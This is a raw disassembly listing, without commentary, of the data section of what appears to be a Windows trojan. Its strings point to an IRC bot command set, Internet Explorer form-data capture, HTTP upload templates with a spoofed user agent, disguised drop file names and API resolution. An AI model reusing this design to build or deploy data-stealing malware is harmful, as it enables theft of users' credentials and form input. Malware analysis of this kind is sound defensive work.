		dd 50CD7F0Eh, 5DC47105h, 4ADF6318h, 47D66D13h, 0DC31D7CAh
		dd 0D138D9C1h, 0C623CBDCh, 0CB2AC5D7h, 0E815EFE6h, 0E51CE1EDh
		dd 0F207F3F0h, 0FF0EFDFBh, 0B479A792h, 0B970A999h, 0AE6BBB84h
		dd 0A362B58Fh, 805D9FBEh, 8D5491B5h, 9A4F83A8h,	97468DA3h
		dd 0
		dd 90E0B0Dh, 121C161Ah,	1B121D17h, 24382C34h, 2D362739h
		dd 36243A2Eh, 3F2A3123h, 48705868h, 417E5365h, 5A6C4E72h
		dd 5362457Fh, 6C48745Ch, 65467F51h, 7E546246h, 775A694Bh
		dd 90E0B0D0h, 99EEBBDDh, 82FCA6CAh, 8BF2ADC7h, 0B4D89CE4h
		dd 0BDD697E9h, 0A6C48AFEh, 0AFCA81F3h, 0D890E8B8h, 0D19EE3B5h
		dd 0CA8CFEA2h, 0C382F5AFh, 0FCA8C48Ch, 0F5A6CF81h, 0EEB4D296h
		dd 0E7BAD99Bh, 3BDB7BBBh, 32D570B6h, 29C76DA1h,	20C966ACh
		dd 1FE3578Fh, 16ED5C82h, 0DFF4195h, 4F14A98h, 73AB23D3h
		dd 7AA528DEh, 61B735C9h, 68B93EC4h, 57930FE7h, 5E9D04EAh
		dd 458F19FDh, 4C8112F0h, 0AB3BCB6Bh, 0A235C066h, 0B927DD71h
		dd 0B029D67Ch, 8F03E75Fh, 860DEC52h, 9D1FF145h,	9411FA48h
		dd 0E34B9303h, 0EA45980Eh, 0F1578519h, 0F8598E14h, 0C773BF37h
		dd 0CE7DB43Ah, 0D56FA92Dh, 0DC61A220h, 76ADF66Dh, 7FA3FD60h
		dd 64B1E077h, 6DBFEB7Ah, 5295DA59h, 5B9BD154h, 4089CC43h
		dd 4987C74Eh, 3EDDAE05h, 37D3A508h, 2CC1B81Fh, 25CFB312h
		dd 1AE58231h, 13EB893Ch, 8F9942Bh, 1F79F26h, 0E64D46BDh
		dd 0EF434DB0h, 0F45150A7h, 0FD5F5BAAh, 0C2756A89h, 0CB7B6184h
		dd 0D0697C93h, 0D967779Eh, 0AE3D1ED5h, 0A73315D8h, 0BC2108CFh
		dd 0B52F03C2h, 8A0532E1h, 830B39ECh, 981924FBh,	91172FF6h
		dd 4D768DD6h, 447886DBh, 5F6A9BCCh, 566490C1h, 694EA1E2h
		dd 6040AAEFh, 7B52B7F8h, 725CBCF5h, 506D5BEh, 0C08DEB3h
		dd 171AC3A4h, 1E14C8A9h, 213EF98Ah, 2830F287h, 3322EF90h
		dd 3A2CE49Dh, 0DD963D06h, 0D498360Bh, 0CF8A2B1Ch, 0C6842011h
		dd 0F9AE1132h, 0F0A01A3Fh, 0EBB20728h, 0E2BC0C25h, 95E6656Eh
		dd 9CE86E63h, 87FA7374h, 8EF47879h, 0B1DE495Ah,	0B8D04257h
		dd 0A3C25F40h, 0AACC544Dh, 0EC41F7DAh, 0E54FFCD7h, 0FE5DE1C0h
		dd 0F753EACDh, 0C879DBEEh, 0C177D0E3h, 0DA65CDF4h, 0D36BC6F9h
		dd 0A431AFB2h, 0AD3FA4BFh, 0B62DB9A8h, 0BF23B2A5h, 80098386h
		dd 8907888Bh, 9215959Ch, 9B1B9E91h, 7CA1470Ah, 75AF4C07h
		dd 6EBD5110h, 67B35A1Dh, 58996B3Eh, 51976033h, 4A857D24h
		dd 438B7629h, 34D11F62h, 3DDF146Fh, 26CD0978h, 2FC30275h
		dd 10E93356h, 19E7385Bh, 2F5254Ch, 0BFB2E41h, 0D79A8C61h
		dd 0DE94876Ch, 0C5869A7Bh, 0CC889176h, 0F3A2A055h, 0FAACAB58h
		dd 0E1BEB64Fh, 0E8B0BD42h, 9FEAD409h, 96E4DF04h, 8DF6C213h
		dd 84F8C91Eh, 0BBD2F83Dh, 0B2DCF330h, 0A9CEEE27h, 0A0C0E52Ah
		dd 477A3CB1h, 4E7437BCh, 55662AABh, 5C6821A6h, 63421085h
		dd 6A4C1B88h, 715E069Fh, 78500D92h, 0F0A64D9h, 6046FD4h
		dd 1D1672C3h, 141879CEh, 2B3248EDh, 223C43E0h, 392E5EF7h
		dd 302055FAh, 9AEC01B7h, 93E20ABAh, 88F017ADh, 81FE1CA0h
		dd 0BED42D83h, 0B7DA268Eh, 0ACC83B99h, 0A5C63094h, 0D29C59DFh
		dd 0DB9252D2h, 0C0804FC5h, 0C98E44C8h, 0F6A475EBh, 0FFAA7EE6h
		dd 0E4B863F1h, 0EDB668FCh, 0A0CB167h, 302BA6Ah,	1810A77Dh
		dd 111EAC70h, 2E349D53h, 273A965Eh, 3C288B49h, 35268044h
		dd 427CE90Fh, 4B72E202h, 5060FF15h, 596EF418h, 6644C53Bh
		dd 6F4ACE36h, 7458D321h, 7D56D82Ch, 0A1377A0Ch,	0A8397101h
		dd 0B32B6C16h, 0BA25671Bh, 850F5638h, 8C015D35h, 97134022h
		dd 9E1D4B2Fh, 0E9472264h, 0E0492969h, 0FB5B347Eh, 0F2553F73h
		dd 0CD7F0E50h, 0C471055Dh, 0DF63184Ah, 0D66D1347h, 31D7CADCh
		dd 38D9C1D1h, 23CBDCC6h, 2AC5D7CBh, 15EFE6E8h, 1CE1EDE5h
		dd 7F3F0F2h, 0EFDFBFFh,	79A792B4h, 70A999B9h, 6BBB84AEh
		dd 62B58FA3h, 5D9FBE80h, 5491B58Dh, 4F83A89Ah, 468DA397h
		dd 0
		dd 0E0B0D09h, 1C161A12h, 121D171Bh, 382C3424h, 3627392Dh
		dd 243A2E36h, 2A31233Fh, 70586848h, 7E536541h, 6C4E725Ah
		dd 62457F53h, 48745C6Ch, 467F5165h, 5462467Eh, 5A694B77h
		dd 0E0B0D090h, 0EEBBDD99h, 0FCA6CA82h, 0F2ADC78Bh, 0D89CE4B4h
		dd 0D697E9BDh, 0C48AFEA6h, 0CA81F3AFh, 90E8B8D8h, 9EE3B5D1h
		dd 8CFEA2CAh, 82F5AFC3h, 0A8C48CFCh, 0A6CF81F5h, 0B4D296EEh
		dd 0BAD99BE7h, 0DB7BBB3Bh, 0D570B632h, 0C76DA129h, 0C966AC20h
		dd 0E3578F1Fh, 0ED5C8216h, 0FF41950Dh, 0F14A9804h, 0AB23D373h
		dd 0A528DE7Ah, 0B735C961h, 0B93EC468h, 930FE757h, 9D04EA5Eh
		dd 8F19FD45h, 8112F04Ch, 3BCB6BABh, 35C066A2h, 27DD71B9h
		dd 29D67CB0h, 3E75F8Fh,	0DEC5286h, 1FF1459Dh, 11FA4894h
		dd 4B9303E3h, 45980EEAh, 578519F1h, 598E14F8h, 73BF37C7h
		dd 7DB43ACEh, 6FA92DD5h, 61A220DCh, 0ADF66D76h,	0A3FD607Fh
		dd 0B1E07764h, 0BFEB7A6Dh, 95DA5952h, 9BD1545Bh, 89CC4340h
		dd 87C74E49h, 0DDAE053Eh, 0D3A50837h, 0C1B81F2Ch, 0CFB31225h
		dd 0E582311Ah, 0EB893C13h, 0F9942B08h, 0F79F2601h, 4D46BDE6h
		dd 434DB0EFh, 5150A7F4h, 5F5BAAFDh, 756A89C2h, 7B6184CBh
		dd 697C93D0h, 67779ED9h, 3D1ED5AEh, 3315D8A7h, 2108CFBCh
		dd 2F03C2B5h, 532E18Ah,	0B39EC83h, 1924FB98h, 172FF691h
		dd 768DD64Dh, 7886DB44h, 6A9BCC5Fh, 6490C156h, 4EA1E269h
		dd 40AAEF60h, 52B7F87Bh, 5CBCF572h, 6D5BE05h, 8DEB30Ch
		dd 1AC3A417h, 14C8A91Eh, 3EF98A21h, 30F28728h, 22EF9033h
		dd 2CE49D3Ah, 963D06DDh, 98360BD4h, 8A2B1CCFh, 842011C6h
		dd 0AE1132F9h, 0A01A3FF0h, 0B20728EBh, 0BC0C25E2h, 0E6656E95h
		dd 0E86E639Ch, 0FA737487h, 0F478798Eh, 0DE495AB1h, 0D04257B8h
		dd 0C25F40A3h, 0CC544DAAh, 41F7DAECh, 4FFCD7E5h, 5DE1C0FEh
		dd 53EACDF7h, 79DBEEC8h, 77D0E3C1h, 65CDF4DAh, 6BC6F9D3h
		dd 31AFB2A4h, 3FA4BFADh, 2DB9A8B6h, 23B2A5BFh, 9838680h
		dd 7888B89h, 15959C92h,	1B9E919Bh, 0A1470A7Ch, 0AF4C0775h
		dd 0BD51106Eh, 0B35A1D67h, 996B3E58h, 97603351h, 857D244Ah
		dd 8B762943h, 0D11F6234h, 0DF146F3Dh, 0CD097826h, 0C302752Fh
		dd 0E9335610h, 0E7385B19h, 0F5254C02h, 0FB2E410Bh, 9A8C61D7h
		dd 94876CDEh, 869A7BC5h, 889176CCh, 0A2A055F3h,	0ACAB58FAh
		dd 0BEB64FE1h, 0B0BD42E8h, 0EAD4099Fh, 0E4DF0496h, 0F6C2138Dh
		dd 0F8C91E84h, 0D2F83DBBh, 0DCF330B2h, 0CEEE27A9h, 0C0E52AA0h
		dd 7A3CB147h, 7437BC4Eh, 662AAB55h, 6821A65Ch, 42108563h
		dd 4C1B886Ah, 5E069F71h, 500D9278h, 0A64D90Fh, 46FD406h
		dd 1672C31Dh, 1879CE14h, 3248ED2Bh, 3C43E022h, 2E5EF739h
		dd 2055FA30h, 0EC01B79Ah, 0E20ABA93h, 0F017AD88h, 0FE1CA081h
		dd 0D42D83BEh, 0DA268EB7h, 0C83B99ACh, 0C63094A5h, 9C59DFD2h
		dd 9252D2DBh, 804FC5C0h, 8E44C8C9h, 0A475EBF6h,	0AA7EE6FFh
		dd 0B863F1E4h, 0B668FCEDh, 0CB1670Ah, 2BA6A03h,	10A77D18h
		dd 1EAC7011h, 349D532Eh, 3A965E27h, 288B493Ch, 26804435h
		dd 7CE90F42h, 72E2024Bh, 60FF1550h, 6EF41859h, 44C53B66h
		dd 4ACE366Fh, 58D32174h, 56D82C7Dh, 377A0CA1h, 397101A8h
		dd 2B6C16B3h, 25671BBAh, 0F563885h, 15D358Ch, 13402297h
		dd 1D4B2F9Eh, 472264E9h, 492969E0h, 5B347EFBh, 553F73F2h
		dd 7F0E50CDh, 71055DC4h, 63184ADFh, 6D1347D6h, 0D7CADC31h
		dd 0D9C1D138h, 0CBDCC623h, 0C5D7CB2Ah, 0EFE6E815h, 0E1EDE51Ch
		dd 0F3F0F207h, 0FDFBFF0Eh, 0A792B479h, 0A999B970h, 0BB84AE6Bh
		dd 0B58FA362h, 9FBE805Dh, 91B58D54h, 83A89A4Fh,	8DA39746h
aDelete		db 'Delete',0           ; DATA XREF: .text:0042AAB4o
					; .text:0042AAD4o ...
		align 10h
aNoremove	db 'NoRemove',0         ; DATA XREF: .text:0042AAB0o
					; .text:0042AAD0o ...
		align 4
aForceremove	db 'ForceRemove',0      ; DATA XREF: .text:0042AAACo
					; .text:0042AACCo ...
aVal		db 'Val',0              ; DATA XREF: .text:0042AAA8o
					; .text:0042AAC8o ...
aB:					; DATA XREF: .text:0042AAA4o
					; .text:0042AAC4o ...
		unicode	0, <B>,0
aD_0:					; DATA XREF: .text:0042AAA0o
					; .text:0042AAC0o ...
		unicode	0, <D>,0
aM:					; DATA XREF: .text:0042AA9Co
					; .text:0042AABCo ...
		unicode	0, <M>,0
aS_0:					; DATA XREF: sub_408CB7+107o
					; sub_408F96+212o ...
		unicode	0, <S>,0
aVirtualprotect	db 'VirtualProtect',0   ; DATA XREF: sub_402AC9+4CEo
					; sub_402AC9+4E4o
		align 4
aGetprocaddress	db 'GetProcAddress',0   ; DATA XREF: sub_402AC9+478o
					; sub_402AC9+48Eo
		align 4
aLoadlibrarya	db 'LoadLibraryA',0     ; DATA XREF: sub_402AC9+422o
					; sub_402AC9+438o
		align 4
aKernel32_dll	db 'Kernel32.dll',0     ; DATA XREF: sub_402AC9+3C6o
					; sub_402AC9+3E2o
		align 4
a_data		db '.data',0            ; DATA XREF: sub_402AC9+203o
		align 8
a_rdata		db '.rdata',0           ; DATA XREF: sub_402AC9+1CFo
		align 10h
		dd 0
dword_42FD64	dd 7865742Eh, 74h, 0	; DATA XREF: sub_402AC9+191o
aSkps		db 'skps',0             ; DATA XREF: sub_404B8D+64o
					; sub_404C05+92o
		align 4
aSkus		db 'skus',0             ; DATA XREF: sub_404B8D+53o
					; sub_404C05+78o
		align 10h
aSkpt		db 'skpt',0             ; DATA XREF: sub_404B8D+3Fo
					; sub_404C05+4Eo
		align 4
aSkvr		db 'skvr',0             ; DATA XREF: sub_404B8D+2Do
					; sub_404C05+3Bo
		align 10h
aSkst		db 'skst',0             ; DATA XREF: sub_404B8D+1Bo
					; sub_404C05+19o
		align 4
aMvwatvx_exe	db 'mvwatvx.exe',0      ; DATA XREF: sub_404B0D+24o
					; sub_4142D6+288o ...
aPerfc012_dat	db 'perfc012.dat',0     ; DATA XREF: sub_404ADB+20o
		align 4
aFntcache_bin	db 'FNTCACHE.BIN',0     ; DATA XREF: sub_404AA9+20o
		align 4
asc_42FDC4:				; DATA XREF: sub_404AA9+15o
					; sub_404ADB+15o ...
		unicode	0, <\>,0
aPprt		db 'pprt',0             ; DATA XREF: sub_4048C1+1Eo
		align 10h
a_2x		db '%.2X',0             ; DATA XREF: sub_404869+29o
		align 4
aUuid		db 'uuid',0             ; DATA XREF: sub_4047DC+1Ao
		align 10h
aSoftwareGnu	db 'SOFTWARE\GNU',0     ; DATA XREF: sub_4047DC+8o
					; sub_4048C1+Co ...
		align 10h
a_:					; DATA XREF: sub_41646A+3Do
					; sub_41646A:loc_416571o ...
		unicode	0, <.>,0
aXXX		db '%X %X %X',0         ; DATA XREF: sub_404E2C+24o
		align 10h
asc_42FE00:				; DATA XREF: sub_405123+319o
					; .text:004350E0o
		unicode	0, <`>,0
dword_42FE04	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_405123+2F1o
dword_42FE10	dd 30h			; DATA XREF: sub_405123+2C9o
					; .text:0040AF90o ...
dword_42FE14	dd 0A1h			; DATA XREF: sub_405123+29Co
dword_42FE18	dd 3			; DATA XREF: sub_405123+247o
aCccc		db 'CCCC',0             ; DATA XREF: sub_405123+14Ao
		align 4

loc_42FE24:				; DATA XREF: sub_405123+DCo
		jmp	short near ptr dword_42FE2C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42FE2C	dd 0			; CODE XREF: .text:loc_42FE24j
dword_42FE30	dd 23h			; DATA XREF: sub_4050C4+1Co
					; .text:00434C7Co
byte_42FE34	db 2 dup(0)		; DATA XREF: sub_404FEB+12o
					; sub_40CA30+1AFo ...
word_42FE36	dw 0			; DATA XREF: sub_407466+7Do
					; sub_411377+25o ...
; ---------------------------------------------------------------------------

loc_42FE38:				; DATA XREF: sub_405771+21Bo
		jmp	short loc_42FE40
; ---------------------------------------------------------------------------
		dw 6EBh
		align 10h

loc_42FE40:				; CODE XREF: .text:loc_42FE38j
					; DATA XREF: sub_405771+3A9o ...
		xor	eax, 3500312Eh
		xor	cs:[eax], al

loc_42FE48:				; DATA XREF: sub_405771+56o
		pop	esp
		pop	esp
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_42FE54	dd 1CEC8166h		; DATA XREF: sub_405771+Fr
dword_42FE58	dd 0E4FF07h		; DATA XREF: sub_405771+18r
dword_42FE5C	dd 0E0483BA0h, 4D9C47FFh, 4177D6A6h, 0F795B1D0h	; DATA XREF: sub_405EF4+2Co
dword_42FE6C	dd 0CA545C6h, 4A6C37ADh, 769F92BFh, 0F57E0610h ; DATA XREF: sub_405EF4+34o
dword_42FE7C	dd 0F7898AF5h, 4632CAC4h, 6DAECA2h, 0F21A11E5h ; DATA XREF: sub_405E63+24o
dword_42FE8C	dd 304CE942h, 40D86E39h, 13B93A94h, 0D49C0CC4h ; DATA XREF: sub_405E63+2Co
dword_42FE9C	dd 3050F244h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_4060DC+541o
dword_42FEAC	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_4060DC+459o
dword_42FEBC	dd 3050F5D2h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_4060DC+2C2o
					; sub_4060DC+52Eo ...
off_42FECC	dd offset sub_4060B7	; DATA XREF: sub_40609A+Bo
		dd offset sub_408B3D
		dd offset nullsub_3
off_42FED8	dd offset sub_40716D	; DATA XREF: sub_40727Ao sub_427F70+Eo ...
		dd offset sub_4071D0
		dd offset sub_4071DD
		dd offset sub_4070DE
		dd offset sub_4070E6
		dd offset sub_4070EE
		dd offset sub_4071F6
aShellDocobject	db 'Shell DocObject View',0 ; DATA XREF: sub_406B3F+9Ao
		align 4
aTabwindowclass	db 'TabWindowClass',0   ; DATA XREF: sub_406B3F+7Fo
		align 4
aCabinetwclass	db 'CabinetWClass',0    ; DATA XREF: sub_406B3F+2Co
		align 4
aIeframe	db 'IEFrame',0          ; DATA XREF: sub_406B3F+18o
aWm_html_getobj	db 'WM_HTML_GETOBJECT',0 ; DATA XREF: sub_406A96+3Eo
		align 4
aObjectfromlres	db 'ObjectFromLresult',0 ; DATA XREF: sub_406A96:loc_406ABFo
		align 4
aOleacc_dll	db 'OLEACC.DLL',0       ; DATA XREF: sub_406A96+15o
		align 4
asc_42FF68	db 0Dh,0Ah,0		; DATA XREF: sub_4060DC:loc_4067F0o
					; sub_407466:loc_407651o ...
		align 4
aSS_0		db '  %S = %S',0Dh,0Ah,0 ; DATA XREF: sub_4060DC+620o
					; sub_4060DC+6ADo
aSTooLong	db '  %S = (too long)',0Dh,0Ah,0 ; DATA XREF: sub_4060DC+608o
					; sub_4060DC+695o
aReset:					; DATA XREF: sub_4060DC+5B2o
		unicode	0, <reset>,0
aImage:					; DATA XREF: sub_4060DC+59Fo
					; sub_406B3F+3C1o
		unicode	0, <image>,0
aSubmit:				; DATA XREF: sub_4060DC+588o
					; sub_406B3F+3AEo
		unicode	0, <submit>,0
		align 4
aSS		db ' [%S]',0Dh,0Ah      ; DATA XREF: sub_4060DC+414o
		db '<%S>',0Dh,0Ah,0
		align 4
aA:					; DATA XREF: sub_4060DC+3C8o
					; .text:00434CE8o
		unicode	0, <a>,0
aNull_0:				; DATA XREF: sub_4060DC+339o
					; sub_4060DC+34Bo ...
		unicode	0, <(null)>,0
		align 4
aInternetExplor	db 'Internet Explorer_Server',0 ; DATA XREF: sub_4060DC+2Bo
					; sub_406B3F+B5o
		align 4
asc_42FFF4:				; DATA XREF: .text:00408355o
					; .text:00434BE0o ...
		unicode	0, < >,0
aDec		db 'Dec',0              ; DATA XREF: .text:004339FCo
aNov		db 'Nov',0              ; DATA XREF: .text:004339F8o
aOct		db 'Oct',0              ; DATA XREF: .text:004339F4o
aSep		db 'Sep',0              ; DATA XREF: .text:004339F0o
aAug		db 'Aug',0              ; DATA XREF: .text:004339ECo
aJul		db 'Jul',0              ; DATA XREF: .text:004339E8o
aJun		db 'Jun',0              ; DATA XREF: .text:004339E4o
aMay		db 'May',0              ; DATA XREF: .text:004339E0o
					; .text:00433A10o
aApr		db 'Apr',0              ; DATA XREF: .text:004339DCo
aMar		db 'Mar',0              ; DATA XREF: .text:004339D8o
aFeb		db 'Feb',0              ; DATA XREF: .text:004339D4o
aJan		db 'Jan',0              ; DATA XREF: .text:004339D0o
aA_0:					; DATA XREF: .text:00434CECo
		unicode	0, <A>,0
aI:					; DATA XREF: .text:00434D28o
		unicode	0, <i>,0
aI_0:					; DATA XREF: .text:00434D2Co
		unicode	0, <I>,0
asc_430034:				; DATA XREF: .text:0040AEC5o
					; .text:004350C0o
		unicode	0, <,>,0
asc_430038:				; DATA XREF: sub_407779:loc_40779Ao
					; sub_410FAD:loc_411050o ...
		unicode	0, </>,0
aNull_1:				; DATA XREF: .text:00407B1Do
					; .text:0040822Co ...
		unicode	0, <null>,0
		align 4
off_430048	dd offset sub_4153A7	; DATA XREF: sub_407431+Bo
		dd offset sub_407445
		dd offset nullsub_3
		dd offset sub_407C12
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
off_43006C	dd offset loc_407AFA	; DATA XREF: sub_407A31+21o
					; sub_407ACB+6o
		dd offset sub_407AAF
		dd offset nullsub_3
aHttp1_1200OkCo	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_407C12+9Co
		db 'Content-Length: %d',0Dh,0Ah
		db 'Content-Type: application/octet-stream',0Dh,0Ah
		db 'Content-Disposition: filename=%s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_407949+73o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aTemp		db 'TEMP',0             ; DATA XREF: sub_4077BF+19o
					; sub_40F1FC+13o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_407779+3o
aChunked	db 'chunked',0          ; DATA XREF: sub_407466+1D3o
aTransferEncodi	db 'Transfer-Encoding',0 ; DATA XREF: sub_407466:loc_40761Bo
		align 4
aContentLength	db 'Content-Length',0   ; DATA XREF: sub_407466+18Bo
		align 4
asc_43015C:				; DATA XREF: sub_407466:loc_4075DBo
					; .text:loc_40833Bo ...
		unicode	0, <:>,0
aSSHttp1_1HostS	db '%s /%s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_407466+E3o
		db 'Host: %s',0Dh,0Ah
		db 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV'
		db '1; .NET CLR 2.0.50727)',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0
		align 4
aPost		db 'POST',0             ; DATA XREF: sub_407466+D1o
		align 4
aGet		db 'GET',0              ; DATA XREF: sub_407466+CAo
aContentLengthD	db 'Content-Length: %d',0Dh,0Ah ; DATA XREF: sub_407466+95o
		db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0
		align 10h
off_430230	dd offset sub_407EE6	; DATA XREF: sub_407EBB+Do
		dd offset sub_408B3D
		dd offset nullsub_3
off_43023C	dd offset loc_4081E6	; DATA XREF: sub_40805D+22o
					; sub_40818D+3o
		dd offset sub_408171
		dd offset nullsub_3
dword_430248	dd 54495551h, 73253A20h, 0A0Dh ; DATA XREF: sub_408A6A+Bo
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408A3E+15o
		align 4
aCn		db 'cn',0               ; DATA XREF: sub_40892A+DCo
		align 4
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0 ; DATA XREF: .text:004088D1o
aUserSSS	db 'USER %s "" "%s" :%s',0Dh,0Ah,0 ; DATA XREF: .text:004087A2o
		align 10h
dword_4302A0	dd 49544F4Eh, 25204543h, 13A2073h, 0D017325h, 0Ah
					; DATA XREF: .text:00408749o
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .text:00408741o
		align 4
aVersion	db 'VERSION',0          ; DATA XREF: .text:0040872Co
off_4302DC	dd offset byte_46464F	; DATA XREF: .text:loc_40868Fo
aThis		db 'this',0             ; DATA XREF: .text:0040864Do
		align 4
aNotify		db 'notify:',0          ; DATA XREF: .text:loc_40860Eo
aAddlink	db 'addlink:',0         ; DATA XREF: .text:loc_4085DEo
		align 4
aNick		db 'nick:',0            ; DATA XREF: .text:loc_408580o
		align 4
aS_1		db '%s',0Dh,0Ah,0       ; DATA XREF: .text:0040856Eo
		align 4
aSendraw	db 'sendraw:',0         ; DATA XREF: .text:00408547o
		align 4
aQuit		db 'quit:',0            ; DATA XREF: .text:00408528o
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: .text:loc_4084FBo
aError		db 'ERROR ',0           ; DATA XREF: .text:loc_4084C3o
		align 10h
aPongS		db 'PONG :%s',0Dh,0Ah,0 ; DATA XREF: .text:004084B5o
		align 4
aPing		db 'PING ',0            ; DATA XREF: .text:loc_40849Co
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: .text:0040846Eo
					; .text:004085CAo ...
		align 10h
a433		db '433',0              ; DATA XREF: .text:00408442o
aJoinS		db 'JOIN %s',0Dh,0Ah,0  ; DATA XREF: .text:0040848Do
		align 10h
a422		db '422',0              ; DATA XREF: .text:0040842Fo
a376		db '376',0              ; DATA XREF: .text:loc_40841Co
a@:					; DATA XREF: .text:00408403o
					; .text:00434C74o
		unicode	0, <@>,0
asc_43036C:				; DATA XREF: .text:004083EEo
					; sub_410FAD:loc_41113Do ...
		unicode	0, <!>,0
aNull_2		db '(null)',0           ; DATA XREF: .text:00408382o
					; .text:loc_408389o ...
		align 4
off_430378	dd offset loc_408B59	; DATA XREF: sub_408B23+Bo
		dd offset sub_408B3D
		dd offset nullsub_3
dword_430384	dd 7325h		; DATA XREF: .text:00408C7Ao
					; .text:0040AF0Ao
dword_430388	dd 20202020h, 5D73255Bh, 0A0Dh ; DATA XREF: .text:00408C4Fo
dword_430394	dd 0A0D0A0Dh, 0		; DATA XREF: .text:00408C38o
		dd 22h,	27h
dword_4303A4	dd 7Dh,	5Dh, 7Bh, 5Bh	; DATA XREF: sub_411299+3Co
					; .text:004351BCo ...
dword_4303B4	dd 7Eh,	3Fh		; DATA XREF: sub_410FAD:loc_4110F8o
					; .text:004350E4o ...
dword_4303BC	dd 3Eh,	5Fh		; DATA XREF: sub_410FAD:loc_411167o
					; .text:004350D4o ...
dword_4303C4	dd 3Dh,	3Bh		; DATA XREF: sub_410FADo
					; .text:004350B8o ...
dword_4303CC	dd 2Dh			; DATA XREF: sub_410FAD:loc_410FD8o
					; sub_41646A:loc_41651Eo ...
dword_4303D0	dd 7Ch			; DATA XREF: .text:0040A75Eo
					; sub_410FAD:loc_4110C8o ...
dword_4303D4	dd 2Bh,	5Ah, 7Ah, 59h, 79h, 58h, 78h, 57h, 77h,	56h, 76h
					; DATA XREF: sub_410FAD:loc_410FC0o
					; .text:00434E38o ...
		dd 55h,	75h, 54h, 74h, 73h, 52h, 72h, 51h, 71h
dword_430424	dd 50h,	70h, 4Fh, 6Fh, 4Eh, 6Eh, 6Dh ; DATA XREF: sub_408CB7:loc_408E08o
					; sub_408F96+234o ...
dword_430440	dd 4Ch,	6Ch, 4Bh, 6Bh, 4Ah, 6Ah, 48h, 68h, 47h,	67h
					; DATA XREF: sub_408CB7:loc_408E2Do
					; sub_408F96+248o ...
dword_430468	dd 46h,	66h, 45h, 65h, 64h, 43h, 63h, 62h, 28h,	39h
					; DATA XREF: sub_408CB7:loc_408DE3o
					; sub_408F96+223o ...
dword_430490	dd 2Ah,	38h		; DATA XREF: sub_410FAD:loc_411038o
					; sub_41646A:loc_416504o ...
dword_430498	dd 26h,	37h		; DATA XREF: sub_410FAD:loc_4110B0o
					; .text:00434C9Co ...
dword_4304A0	dd 5Eh,	36h		; DATA XREF: sub_410FAD:loc_4110E0o
					; .text:00434C94o ...
dword_4304A8	dd 25h,	35h, 24h, 34h	; DATA XREF: sub_410FAD:loc_411068o
					; .text:00434C8Co ...
dword_4304B8	dd 33h			; DATA XREF: .text:0040A69Bo
					; .text:0040ADC3o ...
dword_4304BC	dd 32h			; DATA XREF: .text:loc_40A68Ao
					; sub_40BF38:loc_40C090o ...
dword_4304C0	dd 31h,	29h		; DATA XREF: .text:0040A683o
					; .text:00434C68o ...
dword_4304C8	dd 3Ch			; DATA XREF: sub_410FAD:loc_41117Co
					; .text:00434B20o ...
aSoftwareGnuDat	db 'SOFTWARE\GNU\Data',0 ; DATA XREF: sub_408CB7+82o
					; sub_408E9D+Bo ...
		align 10h
aNull		db 'null',0             ; DATA XREF: sub_408CB7+30o
					; sub_408E9D+6Ao ...
		align 4
off_4304E8	dd offset sub_4098F3	; DATA XREF: sub_4098B8+18o
		dd offset sub_408B3D
		dd offset nullsub_3
aRichedit20w	db 'RichEdit20W',0      ; DATA XREF: sub_4095D4+B9o
off_430500	dd offset sub_41D5E9	; DATA XREF: sub_409A0F+5o
					; sub_409A78+7o
		dd offset sub_41D5E9
		dd offset sub_41D5E9
off_43050C	dd offset loc_40BA1A	; DATA XREF: sub_40B8D4+25o
					; sub_40B9F6+6o
		dd offset sub_40B9C7
		dd offset nullsub_3
off_430518	dd offset sub_40B78B	; DATA XREF: sub_40B74E+1Bo
		dd offset sub_408B3D
		dd offset nullsub_3
off_430524	dd offset sub_40B543	; DATA XREF: sub_40A355+16o
		dd offset sub_40B45D
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A3h, 40h, 0
off_430530	dd offset sub_4153A7	; DATA XREF: sub_40C31C+20o
; ---------------------------------------------------------------------------
		pop	edi
		retn
; ---------------------------------------------------------------------------
		dw 40h
		dd offset nullsub_3
		dd offset sub_40C4D1
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset nullsub_3
		dd offset sub_40C4F9
		dd offset sub_40C570
aLocalhost	db 'localhost',0        ; DATA XREF: sub_40C14B+23o
		align 10h
a127_		db '127.*',0            ; DATA XREF: sub_40C14B+14o
		align 4
aDXDSD00	db '%d|%X|%d|%s|%d|0|0',0Dh,0Ah,0 ; DATA XREF: sub_40BF38+114o
					; sub_40BF38+197o
		align 10h
aDXDSD01	db '%d|%X|%d|%s|%d|0|1',0Dh,0Ah,0 ; DATA XREF: sub_40BF38+D5o
		align 4
aPkys		db 'pkys',0             ; DATA XREF: sub_40BDE3+26o
					; sub_40BDE3+11Ao
		align 10h
aDDS		db '%d|%d|%s',0Dh,0Ah,0 ; DATA XREF: .text:0040B0B5o
		align 4
aDD		db '%d|%d|',0           ; DATA XREF: .text:0040AE29o
		align 4
aDD_0		db '%d|%d',0Dh,0Ah,0    ; DATA XREF: .text:0040A93Ao
